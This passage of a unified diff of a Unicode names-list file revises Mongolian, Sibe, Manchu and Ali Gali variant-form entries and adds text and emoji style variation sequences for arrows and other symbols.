form (medial) - ~ 1829 ALT1 first form (final) 182A MONGOLIAN LETTER BA x (cyrillic small letter be - 0431) ~ 182A ALT1 first form (initial) ~ 182A ALT1 first form (medial) ~ 182A ALT1 first form (final) - ~ 182A 180B second form (final) + ~ 182A 180B alternative form (final) 182B MONGOLIAN LETTER PA x (cyrillic small letter pe - 043F) - ~ 182B ALT1 first form (initial) - ~ 182B ALT1 first form (medial) - ~ 182B ALT1 first form (final) 182C MONGOLIAN LETTER QA x (cyrillic small letter ha - 0445) ~ 182C ALT1 first form (initial) ~ 182C ALT1 first form (medial) ~ 182C ALT1 first form (final) - ~ 182C 180B second form (isolate) ~ 182C 180B second form (initial) ~ 182C 180B second form (medial) + ~ 182C 180B feminine second form (isolate) ~ 182C 180C third form (medial) ~ 182C 180D fourth form (medial) 182D MONGOLIAN LETTER GA @@ -9380,19 +9345,13 @@ ~ 182D ALT1 first form (final) ~ 182D 180B second form (initial) ~ 182D 180B second form (medial) - ~ 182D 180B second form (final) + ~ 182D 180B feminine form (final) ~ 182D 180C third form (medial) - ~ 182D 180D fourth form (medial) + ~ 182D 180D feminine form (medial) 182E MONGOLIAN LETTER MA x (cyrillic small letter em - 043C) - ~ 182E ALT1 first form (initial) - ~ 182E ALT1 first form (medial) - ~ 182E ALT1 first form (final) 182F MONGOLIAN LETTER LA x (cyrillic small letter el - 043B) - ~ 182F ALT1 first form (initial) - ~ 182F ALT1 first form (medial) - ~ 182F ALT1 first form (final) 1830 MONGOLIAN LETTER SA x (cyrillic small letter es - 0441) ~ 1830 ALT1 first form (initial) @@ -9402,9 +9361,6 @@ ~ 1830 180C third form (final) 1831 MONGOLIAN LETTER SHA x (cyrillic small letter sha - 0448) - ~ 1831 ALT1 first form (initial) - ~ 1831 ALT1 first form (medial) - ~ 1831 ALT1 first form (final) 1832 MONGOLIAN LETTER TA x (cyrillic small letter te - 0442) ~ 1832 ALT1 first form (initial) @@ -9421,9 +9377,6 @@ ~ 1833 180B second form (final) 1834 MONGOLIAN LETTER CHA x (cyrillic small letter che - 0447) - ~ 1834 ALT1 first form (initial) - ~ 1834 ALT1 first form (medial) - ~ 1834 ALT1 first form (final) 1835 MONGOLIAN LETTER JA x (cyrillic small letter zhe - 0436) ~ 1835 ALT1 first form (initial) @@ -9440,9 +9393,6 @@ ~ 1836 180C third form (medial) 1837 MONGOLIAN LETTER RA x (cyrillic small letter er - 0440) - ~ 1837 ALT1 first form (initial) - ~ 1837 ALT1 first form (medial) - ~ 1837 ALT1 first form (final) 1838 MONGOLIAN LETTER WA x (cyrillic small letter ve - 0432) ~ 1838 ALT1 first form (initial) @@ -9451,56 +9401,23 @@ ~ 1838 180B second form (final) 1839 MONGOLIAN LETTER FA x (cyrillic small letter ef - 0444) - ~ 1839 ALT1 first form (initial) - ~ 1839 ALT1 first form (medial) - ~ 1839 ALT1 first form (final) 183A MONGOLIAN LETTER KA x (cyrillic small letter ha - 0445) - ~ 183A ALT1 first form (initial) - ~ 183A ALT1 first form (medial) - ~ 183A ALT1 first form (final) 183B MONGOLIAN LETTER KHA x (cyrillic small letter ka - 043A) - ~ 183B ALT1 first form (initial) - ~ 183B ALT1 first form (medial) - ~ 183B ALT1 first form (final) 183C MONGOLIAN LETTER TSA x (cyrillic small letter tse - 0446) - ~ 183C ALT1 first form (initial) - ~ 183C ALT1 first form (medial) - ~ 183C ALT1 first form (final) 183D MONGOLIAN LETTER ZA x (cyrillic small letter ze - 0437) - ~ 183D ALT1 first form (initial) - ~ 183D ALT1 first form (medial) - ~ 183D ALT1 first form (final) 183E MONGOLIAN LETTER HAA x (cyrillic small letter ha - 0445) - ~ 183E ALT1 first form (initial) - ~ 183E ALT1 first form (medial) - ~ 183E ALT1 first form (final) 183F MONGOLIAN LETTER ZRA x (cyrillic small letter zhe - 0436) - ~ 183F ALT1 first form (initial) - ~ 183F ALT1 first form (medial) - ~ 183F ALT1 first form (final) 1840 MONGOLIAN LETTER LHA - ~ 1840 ALT1 first form (initial) - ~ 1840 ALT1 first form (medial) - ~ 1840 ALT1 first form (final) 1841 MONGOLIAN LETTER ZHI - ~ 1841 ALT1 first form (initial) - ~ 1841 ALT1 first form (medial) - ~ 1841 ALT1 first form (final) 1842 MONGOLIAN LETTER CHI - ~ 1842 ALT1 first form (initial) - ~ 1842 ALT1 first form (medial) - ~ 1842 ALT1 first form (final) @ Todo letters 1843 MONGOLIAN LETTER TODO LONG VOWEL SIGN - ~ 1843 ALT1 first form (initial) - ~ 1843 ALT1 first form (medial) - ~ 1843 ALT1 first form (final) 1844 MONGOLIAN LETTER TODO E ~ 1844 ALT1 first form (initial) ~ 1844 ALT1 first form (medial) @@ -9536,94 +9453,41 @@ ~ 1849 180B second form (isolate) ~ 1849 180B second form (medial) 184A MONGOLIAN LETTER TODO ANG - ~ 184A ALT1 first form (initial) - ~ 184A ALT1 first form (medial) - ~ 184A ALT1 first form (final) 184B MONGOLIAN LETTER TODO BA - ~ 184B ALT1 first form (initial) - ~ 184B ALT1 first form (medial) - ~ 184B ALT1 first form (final) 184C MONGOLIAN LETTER TODO PA - ~ 184C ALT1 first form (initial) - ~ 184C ALT1 first form (medial) - ~ 184C ALT1 first form (final) 184D MONGOLIAN LETTER TODO QA ~ 184D ALT1 first form (initial) ~ 184D ALT1 first form (medial) ~ 184D ALT1 first form (final) - ~ 184D 180B second form (initial) - ~ 184D 180B second form (medial) + ~ 184D 180B feminine form (initial) + ~ 184D 180B feminine form (medial) 184E MONGOLIAN LETTER TODO GA ~ 184E ALT1 first form (initial) ~ 184E ALT1 first form (medial) ~ 184E ALT1 first form (final) ~ 184E 180B second form (medial) 184F MONGOLIAN LETTER TODO MA - ~ 184F ALT1 first form (initial) - ~ 184F ALT1 first form (medial) - ~ 184F ALT1 first form (final) 1850 MONGOLIAN LETTER TODO TA - ~ 1850 ALT1 first form (initial) - ~ 1850 ALT1 first form (medial) - ~ 1850 ALT1 first form (final) 1851 MONGOLIAN LETTER TODO DA - ~ 1851 ALT1 first form (initial) - ~ 1851 ALT1 first form (medial) - ~ 1851 ALT1 first form (final) 1852 MONGOLIAN LETTER TODO CHA - ~ 1852 ALT1 first form (initial) - ~ 1852 ALT1 first form (medial) - ~ 1852 ALT1 first form (final) 1853 MONGOLIAN LETTER TODO JA - ~ 1853 ALT1 first form (initial) - ~ 1853 ALT1 first form (medial) - ~ 1853 ALT1 first form (final) 1854 MONGOLIAN LETTER TODO TSA - ~ 1854 ALT1 first form (initial) - ~ 1854 ALT1 first form (medial) - ~ 1854 ALT1 first form (final) 1855 MONGOLIAN LETTER TODO YA - ~ 1855 ALT1 first form (initial) - ~ 1855 ALT1 first form (medial) - ~ 1855 ALT1 first form (final) 1856 MONGOLIAN LETTER TODO WA - ~ 1856 ALT1 first form (initial) - ~ 1856 ALT1 first form (medial) - ~ 1856 ALT1 first form (final) 1857 MONGOLIAN LETTER TODO KA - ~ 1857 ALT1 first form (initial) - ~ 1857 ALT1 first form (medial) - ~ 1857 ALT1 first form (final) 1858 MONGOLIAN LETTER TODO GAA - ~ 1858 ALT1 first form (initial) - ~ 1858 ALT1 first form (medial) - ~ 1858 ALT1 first form (final) 1859 MONGOLIAN LETTER TODO HAA - ~ 1859 ALT1 first form (initial) - ~ 1859 ALT1 first form (medial) - ~ 1859 ALT1 first form (final) 185A MONGOLIAN LETTER TODO JIA - ~ 185A ALT1 first form (initial) - ~ 185A ALT1 first form (medial) - ~ 185A ALT1 first form (final) 185B MONGOLIAN LETTER TODO NIA - ~ 185B ALT1 first form (initial) - ~ 185B ALT1 first form (medial) - ~ 185B ALT1 first form (final) 185C MONGOLIAN LETTER TODO DZA - ~ 185C ALT1 first form (initial) - ~ 185C ALT1 first form (medial) - ~ 185C ALT1 first form (final) @ Sibe letters 185D MONGOLIAN LETTER SIBE E - ~ 185D ALT1 first form (isolate) ~ 185D ALT1 first form (initial) ~ 185D ALT1 first form (medial) ~ 185D ALT1 first form (final) ~ 185D 180B second form (medial) ~ 185D 180B second form (final) 185E MONGOLIAN LETTER SIBE I - ~ 185E ALT1 first form (isolate) ~ 185E ALT1 first form (initial) ~ 185E ALT1 first form (medial) ~ 185E ALT1 first form (final) @@ -9632,9 +9496,6 @@ ~ 185E 180C third form (medial) ~ 185E 180C third form (final) 185F MONGOLIAN LETTER SIBE IY - ~ 185F ALT1 first form (initial) - ~ 185F ALT1 first form (medial) - ~ 185F ALT1 first form (final) 1860 MONGOLIAN LETTER SIBE UE ~ 1860 ALT1 first form (initial) ~ 1860 ALT1 first form (medial) @@ -9642,35 +9503,16 @@ ~ 1860 180B second form (medial) ~ 1860 180B second form (final) 1861 MONGOLIAN LETTER SIBE U - ~ 1861 ALT1 first form (isolate) - ~ 1861 ALT1 first form (initial) - ~ 1861 ALT1 first form (medial) - ~ 1861 ALT1 first form (final) 1862 MONGOLIAN LETTER SIBE ANG - ~ 1862 ALT1 first form (initial) - ~ 1862 ALT1 first form (medial) - ~ 1862 ALT1 first form (final) 1863 MONGOLIAN LETTER SIBE KA ~ 1863 ALT1 first form (initial) ~ 1863 ALT1 first form (medial) ~ 1863 ALT1 first form (final) ~ 1863 180B second form (medial) 1864 MONGOLIAN LETTER SIBE GA - ~ 1864 ALT1 first form (initial) - ~ 1864 ALT1 first form (medial) - ~ 1864 ALT1 first form (final) 1865 MONGOLIAN LETTER SIBE HA - ~ 1865 ALT1 first form (initial) - ~ 1865 ALT1 first form (medial) - ~ 1865 ALT1 first form (final) 1866 MONGOLIAN LETTER SIBE PA - ~ 1866 ALT1 first form (initial) - ~ 1866 ALT1 first form (medial) - ~ 1866 ALT1 first form (final) 1867 MONGOLIAN LETTER SIBE SHA - ~ 1867 ALT1 first form (initial) - ~ 1867 ALT1 first form (medial) - ~ 1867 ALT1 first form (final) 1868 MONGOLIAN LETTER SIBE TA ~ 1868 ALT1 first form (initial) ~ 1868 ALT1 first form (medial) @@ -9685,25 +9527,10 @@ ~ 1869 180B second form (initial) ~ 1869 180B second form (medial) 186A MONGOLIAN LETTER SIBE JA - ~ 186A ALT1 first form (initial) - ~ 186A ALT1 first form (medial) - ~ 186A ALT1 first form (final) 186B MONGOLIAN LETTER SIBE FA - ~ 186B ALT1 first form (initial) - ~ 186B ALT1 first form (medial) - ~ 186B ALT1 first form (final) 186C MONGOLIAN LETTER SIBE GAA - ~ 186C ALT1 first form (initial) - ~ 186C ALT1 first form (medial) - ~ 186C ALT1 first form (final) 186D MONGOLIAN LETTER SIBE HAA - ~ 186D ALT1 first form (initial) - ~ 186D ALT1 first form (medial) - ~ 186D ALT1 first form (final) 186E MONGOLIAN LETTER SIBE TSA - ~ 186E ALT1 first form (initial) - ~ 186E ALT1 first form (medial) - ~ 186E ALT1 first form (final) 186F MONGOLIAN LETTER SIBE ZA ~ 186F ALT1 first form (initial) ~ 186F ALT1 first form (medial) @@ -9711,20 +9538,10 @@ ~ 186F 180B second form (initial) ~ 186F 180B second form (medial) 1870 MONGOLIAN LETTER SIBE RAA - ~ 1870 ALT1 first form (initial) - ~ 1870 ALT1 first form (medial) - ~ 1870 ALT1 first form (final) 1871 MONGOLIAN LETTER SIBE CHA - ~ 1871 ALT1 first form (initial) - ~ 1871 ALT1 first form (medial) - ~ 1871 ALT1 first form (final) 1872 MONGOLIAN LETTER SIBE ZHA - ~ 1872 ALT1 first form (initial) - ~ 1872 ALT1 first form (medial) - ~ 1872 ALT1 first form (final) @ Manchu letters 1873 MONGOLIAN LETTER MANCHU I - ~ 1873 ALT1 first form (isolate) ~ 1873 ALT1 first form (initial) ~ 1873 ALT1 first form (medial) ~ 1873 ALT1 first form (final) @@ -9738,14 +9555,11 @@ ~ 1874 ALT1 first form (medial) ~ 1874 ALT1 first form (final) ~ 1874 180B second form (medial) - ~ 1874 180B second form (final) - ~ 1874 180C third form (medial) - ~ 1874 180C third form (final) - ~ 1874 180D fourth form (medial) + ~ 1874 180B feminine first final form (final) + ~ 1874 180C feminine first medial form (medial) + ~ 1874 180C feminine second final form (final) + ~ 1874 180D feminine second medial form (medial) 1875 MONGOLIAN LETTER MANCHU RA - ~ 1875 ALT1 first form (initial) - ~ 1875 ALT1 first form (medial) - ~ 1875 ALT1 first form (final) 1876 MONGOLIAN LETTER MANCHU FA ~ 1876 ALT1 first form (initial) ~ 1876 ALT1 first form (medial) @@ -9753,9 +9567,6 @@ ~ 1876 180B second form (initial) ~ 1876 180B second form (medial) 1877 MONGOLIAN LETTER MANCHU ZHA - ~ 1877 ALT1 first form (initial) - ~ 1877 ALT1 first form (medial) - ~ 1877 ALT1 first form (final) @ Extensions for Sanskrit and Tibetan 1880 MONGOLIAN LETTER ALI GALI ANUSVARA ONE x (tibetan sign sna ldan - 0F83) @@ -9785,9 +9596,6 @@ ~ 1888 ALT1 first form (final) ~ 1888 180B second form (final) 1889 MONGOLIAN LETTER ALI GALI KA - ~ 1889 ALT1 first form (initial) - ~ 1889 ALT1 first form (medial) - ~ 1889 ALT1 first form (final) 188A MONGOLIAN LETTER ALI GALI NGA ~ 188A ALT1 first form (initial) ~ 188A ALT1 first form (medial) @@ -9795,130 +9603,37 @@ ~ 188A 180B second form (initial) ~ 188A 180B second form (medial) 188B MONGOLIAN LETTER ALI GALI CA - ~ 188B ALT1 first form (initial) - ~ 188B ALT1 first form (medial) - ~ 188B ALT1 first form (final) 188C MONGOLIAN LETTER ALI GALI TTA - ~ 188C ALT1 first form (initial) - ~ 188C ALT1 first form (medial) - ~ 188C ALT1 first form (final) 188D MONGOLIAN LETTER ALI GALI TTHA - ~ 188D ALT1 first form (initial) - ~ 188D ALT1 first form (medial) - ~ 188D ALT1 first form (final) 188E MONGOLIAN LETTER ALI GALI DDA - ~ 188E ALT1 first form (initial) - ~ 188E ALT1 first form (medial) - ~ 188E ALT1 first form (final) 188F MONGOLIAN LETTER ALI GALI NNA - ~ 188F ALT1 first form (initial) - ~ 188F ALT1 first form (medial) - ~ 188F ALT1 first form (final) 1890 MONGOLIAN LETTER ALI GALI TA - ~ 1890 ALT1 first form (initial) - ~ 1890 ALT1 first form (medial) - ~ 1890 ALT1 first form (final) 1891 MONGOLIAN LETTER ALI GALI DA - ~ 1891 ALT1 first form (initial) - ~ 1891 ALT1 first form (medial) - ~ 1891 ALT1 first form (final) 1892 MONGOLIAN LETTER ALI GALI PA - ~ 1892 ALT1 first form (initial) - ~ 1892 ALT1 first form (medial) - ~ 1892 ALT1 first form (final) 1893 MONGOLIAN LETTER ALI GALI PHA - ~ 1893 ALT1 first form (initial) - ~ 1893 ALT1 first form (medial) - ~ 1893 ALT1 first form (final) 1894 MONGOLIAN LETTER ALI GALI SSA - ~ 1894 ALT1 first form (initial) - ~ 1894 ALT1 first form (medial) - ~ 1894 ALT1 first form (final) 1895 MONGOLIAN LETTER ALI GALI ZHA - ~ 1895 ALT1 first form (initial) - ~ 1895 ALT1 first form (medial) - ~ 1895 ALT1 first form (final) 1896 MONGOLIAN LETTER ALI GALI ZA - ~ 1896 ALT1 first form (initial) - ~ 1896 ALT1 first form (medial) - ~ 1896 ALT1 first form (final) 1897 MONGOLIAN LETTER ALI GALI AH - ~ 1897 ALT1 first form (initial) - ~ 1897 ALT1 first form (medial) - ~ 1897 ALT1 first form (final) 1898 MONGOLIAN LETTER TODO ALI GALI TA - ~ 1898 ALT1 first form (initial) - ~ 1898 ALT1 first form (medial) - ~ 1898 ALT1 first form (final) 1899 MONGOLIAN LETTER TODO ALI GALI ZHA - ~ 1899 ALT1 first form (initial) - ~ 1899 ALT1 first form (medial) - ~ 1899 ALT1 first form (final) 189A MONGOLIAN LETTER MANCHU ALI GALI GHA - ~ 189A ALT1 first form (initial) - ~ 189A ALT1 first form (medial) - ~ 189A ALT1 first form (final) 189B MONGOLIAN LETTER MANCHU ALI GALI NGA - ~ 189B ALT1 first form (initial) - ~ 189B ALT1 first form (medial) - ~ 189B ALT1 first form (final) 189C MONGOLIAN LETTER MANCHU ALI GALI CA - ~ 189C ALT1 first form (initial) - ~ 189C ALT1 first form (medial) - ~ 189C ALT1 first form (final) 189D MONGOLIAN LETTER MANCHU ALI GALI JHA - ~ 189D ALT1 first form (initial) - ~ 189D ALT1 first form (medial) - ~ 189D ALT1 first form (final) 189E MONGOLIAN LETTER MANCHU ALI GALI TTA - ~ 189E ALT1 first form (initial) - ~ 189E ALT1 first form (medial) - ~ 189E ALT1 first form (final) 189F MONGOLIAN LETTER MANCHU ALI GALI DDHA - ~ 189F ALT1 first form (initial) - ~ 189F ALT1 first form (medial) - ~ 189F ALT1 first form (final) 18A0 MONGOLIAN LETTER MANCHU ALI GALI TA - ~ 18A0 ALT1 first form (initial) - ~ 18A0 ALT1 first form (medial) - ~ 18A0 ALT1 first form (final) 18A1 MONGOLIAN LETTER MANCHU ALI GALI DHA - ~ 18A1 ALT1 first form (initial) - ~ 18A1 ALT1 first form (medial) - ~ 18A1 ALT1 first form (final) 18A2 MONGOLIAN LETTER MANCHU ALI GALI SSA - ~ 18A2 ALT1 first form (initial) - ~ 18A2 ALT1 first form (medial) - ~ 18A2 ALT1 first form (final) 18A3 MONGOLIAN LETTER MANCHU ALI GALI CYA - ~ 18A3 ALT1 first form (initial) - ~ 18A3 ALT1 first form (medial) - ~ 18A3 ALT1 first form (final) 18A4 MONGOLIAN LETTER MANCHU ALI GALI ZHA - ~ 18A4 ALT1 first form (initial) - ~ 18A4 ALT1 first form (medial) - ~ 18A4 ALT1 first form (final) 18A5 MONGOLIAN LETTER MANCHU ALI GALI ZA - ~ 18A5 ALT1 first form (initial) - ~ 18A5 ALT1 first form (medial) - ~ 18A5 ALT1 first form (final) 18A6 MONGOLIAN LETTER ALI GALI HALF U - ~ 18A6 ALT1 first form (initial) - ~ 18A6 ALT1 first form (medial) - ~ 18A6 ALT1 first form (final) 18A7 MONGOLIAN LETTER ALI GALI HALF YA - ~ 18A7 ALT1 first form (initial) - ~ 18A7 ALT1 first form (medial) - ~ 18A7 ALT1 first form (final) 18A8 MONGOLIAN LETTER MANCHU ALI GALI BHA - ~ 18A8 ALT1 first form (initial) - ~ 18A8 ALT1 first form (medial) - ~ 18A8 ALT1 first form (final) 18A9 MONGOLIAN LETTER ALI GALI DAGALGA 18AA MONGOLIAN LETTER MANCHU ALI GALI LHA - ~ 18AA ALT1 first form (initial) - ~ 18AA ALT1 first form (medial) - ~ 18AA ALT1 first form (final) @@@~ Contextual Variants and Standardized Variation Sequences @+ Unlike other blocks, these variation sequences use the script-specific variation selectors for Mongolian. @@ 18B0 Unified Canadian Aboriginal Syllabics Extended 18FF @@ -10180,7 +9895,6 @@ 19A9 NEW TAI LUE LETTER LOW XVA 19AA NEW TAI LUE LETTER HIGH SUA 19AB NEW TAI LUE LETTER LOW SUA - * a labialized consonant cluster @ Vowel signs 19B0 NEW TAI LUE VOWEL SIGN VOWEL SHORTENER 19B1 NEW TAI LUE VOWEL SIGN AA @@ -11014,23 +10728,14 @@ @@ 1C80 Cyrillic Extended-C 1C8F @ Historic letter variants 1C80 CYRILLIC SMALL LETTER ROUNDED VE - x (cyrillic small letter ve - 0432) 1C81 CYRILLIC SMALL LETTER LONG-LEGGED DE - x (cyrillic small letter de - 0434) 1C82 CYRILLIC SMALL LETTER NARROW O - x (cyrillic small letter o - 043E) 1C83 CYRILLIC SMALL LETTER WIDE ES - x (cyrillic small letter es - 0441) 1C84 CYRILLIC SMALL LETTER TALL TE 1C85 CYRILLIC SMALL LETTER THREE-LEGGED TE - x (cyrillic small letter te - 0442) 1C86 CYRILLIC SMALL LETTER TALL HARD SIGN - x (cyrillic small letter hard sign - 044A) 1C87 CYRILLIC SMALL LETTER TALL YAT - x (cyrillic small letter yat - 0463) 1C88 CYRILLIC SMALL LETTER UNBLENDED UK - x (cyrillic small letter uk - 0479) - x (cyrillic small letter monograph uk - A64B) @@ 1CC0 Sundanese Supplement 1CCF @ Punctuation 1CC0 SUNDANESE PUNCTUATION BINDU SURYA @@ -11142,9 +10847,6 @@ * marks a bilabial fricative occurring only before unvoiced labial stops x (kannada sign upadhmaniya - 0CF2) x (tibetan sign mchu can - 0F89) -1CF7 VEDIC SIGN ATIKRAMA - = vaidika saamagaana atikrama - * indicates skipping of a svara @ Signs for Jaiminiya Sama Veda 1CF8 VEDIC TONE RING ABOVE 1CF9 VEDIC TONE DOUBLE RING ABOVE @@ -11584,14 +11286,6 @@ 1DF4 COMBINING LATIN SMALL LETTER U WITH DIAERESIS @ Diacritic for American lexicography 1DF5 COMBINING UP TACK ABOVE -@ Typicon marks -1DF6 COMBINING KAVYKA ABOVE RIGHT -1DF7 COMBINING KAVYKA ABOVE LEFT - x (combining cyrillic kavyka - A67C) -1DF8 COMBINING DOT ABOVE LEFT - x (combining dot above right - 0358) -1DF9 COMBINING WIDE INVERTED BRIDGE BELOW - x (combining inverted bridge below - 033A) @ Miscellaneous mark 1DFB COMBINING DELETION MARK * used for "mhusaa" in Newa scribal tradition @@ -12865,6 +12559,8 @@ @ Double punctuation for vertical text 203C DOUBLE EXCLAMATION MARK x (exclamation mark - 0021) + ~ 203C FE0E text style + ~ 203C FE0F emoji style # 0021 0021 @ General punctuation 203D INTERROBANG @@ -12900,6 +12596,8 @@ 2048 QUESTION EXCLAMATION MARK # 003F 0021 2049 EXCLAMATION QUESTION MARK + ~ 2049 FE0E text style + ~ 2049 FE0F emoji style # 0021 003F @ General punctuation 204A TIRONIAN SIGN ET @@ -13001,6 +12699,7 @@ 206D ACTIVATE ARABIC FORM SHAPING 206E NATIONAL DIGIT SHAPES 206F NOMINAL DIGIT SHAPES +@~ ! @@ 2070 Superscripts and Subscripts 209F @ Superscripts @+ See also superscript Latin letters in the Spacing Modifier Letters block starting at 02B0. @@ -13205,7 +12904,6 @@ * Russia 20BE LARI SIGN * Georgia -20BF BITCOIN SIGN @@ 20D0 Combining Diacritical Marks for Symbols 20FF @ Combining diacritical marks for symbols 20D0 COMBINING LEFT HARPOON ABOVE @@ -13379,6 +13077,8 @@ # 0054 0045 004C 2122 TRADE MARK SIGN x (circled wz - 1F12E) + ~ 2122 FE0E text style + ~ 2122 FE0F emoji style # 0054 004D 2123 VERSICLE 2124 DOUBLE-STRUCK CAPITAL Z @@ -13460,6 +13160,8 @@ 2139 INFORMATION SOURCE * intended for use with 20DD x (circled information source - 1F6C8) + ~ 2139 FE0E text style + ~ 2139 FE0F emoji style # 0069 latin small letter i 213A ROTATED CAPITAL Q * a binding signature mark @@ -13518,6 +13220,7 @@ x (greek small letter digamma - 03DD) @ Biblical editorial symbol 214F SYMBOL FOR SAMARITAN SOURCE +@~ ! @@ 2150 Number Forms 218F @ Fractions @+ Other fraction number forms are found in the Latin-1 Supplement block. @@ -13667,11 +13370,23 @@ * IPA: ingressive airflow 2194 LEFT RIGHT ARROW = z notation relation + ~ 2194 FE0E text style + ~ 2194 FE0F emoji style 2195 UP DOWN ARROW + ~ 2195 FE0E text style + ~ 2195 FE0F emoji style 2196 NORTH WEST ARROW + ~ 2196 FE0E text style + ~ 2196 FE0F emoji style 2197 NORTH EAST ARROW + ~ 2197 FE0E text style + ~ 2197 FE0F emoji style 2198 SOUTH EAST ARROW + ~ 2198 FE0E text style + ~ 2198 FE0F emoji style 2199 SOUTH WEST ARROW + ~ 2199 FE0E text style + ~ 2199 FE0F emoji style @ Arrows with modifications 219A LEFTWARDS ARROW WITH STROKE * negation of 2190 @@ -13704,7 +13419,11 @@ = depth symbol 21A8 UP DOWN ARROW WITH BASE 21A9 LEFTWARDS ARROW WITH HOOK + ~ 21A9 FE0E text style + ~ 21A9 FE0F emoji style 21AA RIGHTWARDS ARROW WITH HOOK + ~ 21AA FE0E text style + ~ 21AA FE0F emoji style 21AB LEFTWARDS ARROW WITH LOOP 21AC RIGHTWARDS ARROW WITH LOOP 21AD LEFT RIGHT WAVE ARROW @@ -13842,6 +13561,7 @@ 21FD LEFTWARDS OPEN-HEADED ARROW 21FE RIGHTWARDS OPEN-HEADED ARROW 21FF LEFT RIGHT OPEN-HEADED ARROW +@~ ! @@ 2200 Mathematical Operators 22FF @@+ @ Miscellaneous mathematical symbols @@ -14460,8 +14180,12 @@ 231A WATCH x (alarm clock - 23F0) x (clock face one oclock - 1F550) + ~ 231A FE0E text style + ~ 231A FE0F emoji style 231B HOURGLASS = alchemical symbol for hour + ~ 231B FE0E text style + ~ 231B FE0F emoji style @ Quine corners @+ These form a set of four quine corners, for quincuncial arrangement. They are also used in upper and lower pairs in mathematic, or more rarely in editorial usage as alternatives to half brackets. 231C TOP LEFT CORNER @@ -14490,6 +14214,8 @@ 2328 KEYBOARD x (keyboard and mouse - 1F5A6) x (wired keyboard - 1F5AE) + ~ 2328 FE0E text style + ~ 2328 FE0F emoji style @ Deprecated angle brackets @+ These characters are deprecated and are strongly discouraged for mathematical use because of their canonical equivalence to CJK punctuation. 2329 LEFT-POINTING ANGLE BRACKET @@ -14727,10 +14453,9 @@ 23B8 LEFT VERTICAL BOX LINE 23B9 RIGHT VERTICAL BOX LINE @ Scan lines for terminal graphics -@+ The scan line numbers here refer to old, low-resolution technology for terminals, with only 9 scan lines per fixed-size character glyph. +@+ The scan line numbers here refer to old, low-resolution technology for terminals, with only 9 scan lines per fixed-size character glyph. Even-numbered scan lines are unified with box-drawing graphics. 23BA HORIZONTAL SCAN LINE-1 23BB HORIZONTAL SCAN LINE-3 - * scan line-5 is unified with the box-drawing graphic character 2500 23BC HORIZONTAL SCAN LINE-7 23BD HORIZONTAL SCAN LINE-9 @ Dentistry notation symbols @@ -14766,6 +14491,8 @@ x (return left - 2B90) 23CF EJECT SYMBOL * UI symbol to eject media + ~ 23CF FE0E text style + ~ 23CF FE0F emoji style @ Special character extension 23D0 VERTICAL LINE EXTENSION * used for extension of arrows @@ -14819,45 +14546,57 @@ 23EB BLACK UP-POINTING DOUBLE TRIANGLE 23EC BLACK DOWN-POINTING DOUBLE TRIANGLE 23ED BLACK RIGHT-POINTING DOUBLE TRIANGLE WITH VERTICAL BAR + ~ 23ED FE0E text style + ~ 23ED FE0F emoji style 23EE BLACK LEFT-POINTING DOUBLE TRIANGLE WITH VERTICAL BAR + ~ 23EE FE0E text style + ~ 23EE FE0F emoji style 23EF BLACK RIGHT-POINTING TRIANGLE WITH DOUBLE VERTICAL BAR + ~ 23EF FE0E text style + ~ 23EF FE0F emoji style 23F0 ALARM CLOCK x (watch - 231A) x (clock face one oclock - 1F550) x (mantelpiece clock - 1F570) 23F1 STOPWATCH + ~ 23F1 FE0E text style + ~ 23F1 FE0F emoji style 23F2 TIMER CLOCK + ~ 23F2 FE0E text style + ~ 23F2 FE0F emoji style 23F3 HOURGLASS WITH FLOWING SAND x (hourglass - 231B) 23F4 BLACK MEDIUM LEFT-POINTING TRIANGLE = reverse, back * preferred to 25C0 black left-pointing triangle - x (black medium left-pointing triangle centred - 2BC7) x (black left-pointing isosceles right triangle - 1F780) 23F5 BLACK MEDIUM RIGHT-POINTING TRIANGLE = forward * preferred to 25B6 black right-pointing triangle - x (black medium right-pointing triangle centred - 2BC8) x (black right-pointing isosceles right triangle - 1F782) 23F6 BLACK MEDIUM UP-POINTING TRIANGLE = increase * preferred to 25B2 black up-pointing triangle - x (black medium up-pointing triangle centred - 2BC5) x (black up-pointing isosceles right triangle - 1F781) 23F7 BLACK MEDIUM DOWN-POINTING TRIANGLE = decrease * preferred to 25BC black down-pointing triangle - x (black medium down-pointing triangle centred - 2BC6) x (black down-pointing isosceles right triangle - 1F783) 23F8 DOUBLE VERTICAL BAR = pause x (double vertical line - 2016) + ~ 23F8 FE0E text style + ~ 23F8 FE0F emoji style 23F9 BLACK SQUARE FOR STOP = stop x (black medium square - 25FC) + ~ 23F9 FE0E text style + ~ 23F9 FE0F emoji style 23FA BLACK CIRCLE FOR RECORD = record x (medium black circle - 26AB) + ~ 23FA FE0E text style + ~ 23FA FE0F emoji style @ Power symbols from ISO 7000:2012 23FB POWER SYMBOL @+ * IEC 5009 standby symbol @@ -14870,8 +14609,7 @@ @ Power symbol from IEEE 1621-2004 23FE POWER SLEEP SYMBOL x (last quarter moon - 263E) -@ Miscellaneous symbol -23FF OBSERVER EYE SYMBOL +@~ ! @@ 2400 Control Pictures 243F @+ The diagonal lettering glyphs are only exemplary; alternate representations may be, and often are used in the visible display of control codes. @ Graphic pictures for control codes @@ -15156,6 +14894,8 @@ 24C1 CIRCLED LATIN CAPITAL LETTER L # 004C 24C2 CIRCLED LATIN CAPITAL LETTER M + ~ 24C2 FE0E text style + ~ 24C2 FE0F emoji style # 004D 24C3 CIRCLED LATIN CAPITAL LETTER N # 004E @@ -15265,6 +15005,7 @@ @ Additional white on black circled number 24FF NEGATIVE CIRCLED DIGIT ZERO x (dingbat negative circled digit one - 2776) +@~ ! @@ 2500 Box Drawing 257F @+ All of these characters are intended for compatibility with character cell graphic sets in use prior to 1990. @ Light and heavy solid lines @@ -15504,8 +15245,12 @@ 25AA BLACK SMALL SQUARE = square bullet x (black very small square - 2B1D) + ~ 25AA FE0E text style + ~ 25AA FE0F emoji style 25AB WHITE SMALL SQUARE x (white very small square - 2B1E) + ~ 25AB FE0E text style + ~ 25AB FE0F emoji style 25AC BLACK RECTANGLE 25AD WHITE RECTANGLE 25AE BLACK VERTICAL RECTANGLE @@ -15518,7 +15263,7 @@ 25B1 WHITE PARALLELOGRAM 25B2 BLACK UP-POINTING TRIANGLE x (black medium up-pointing triangle - 23F6) - x (black medium up-pointing triangle centred - 2BC5) + x (mountain - 26F0) x (up-pointing red triangle - 1F53A) 25B3 WHITE UP-POINTING TRIANGLE = trine @@ -15531,7 +15276,8 @@ 25B5 WHITE UP-POINTING SMALL TRIANGLE 25B6 BLACK RIGHT-POINTING TRIANGLE x (black medium right-pointing triangle - 23F5) - x (black medium right-pointing triangle centred - 2BC8) + ~ 25B6 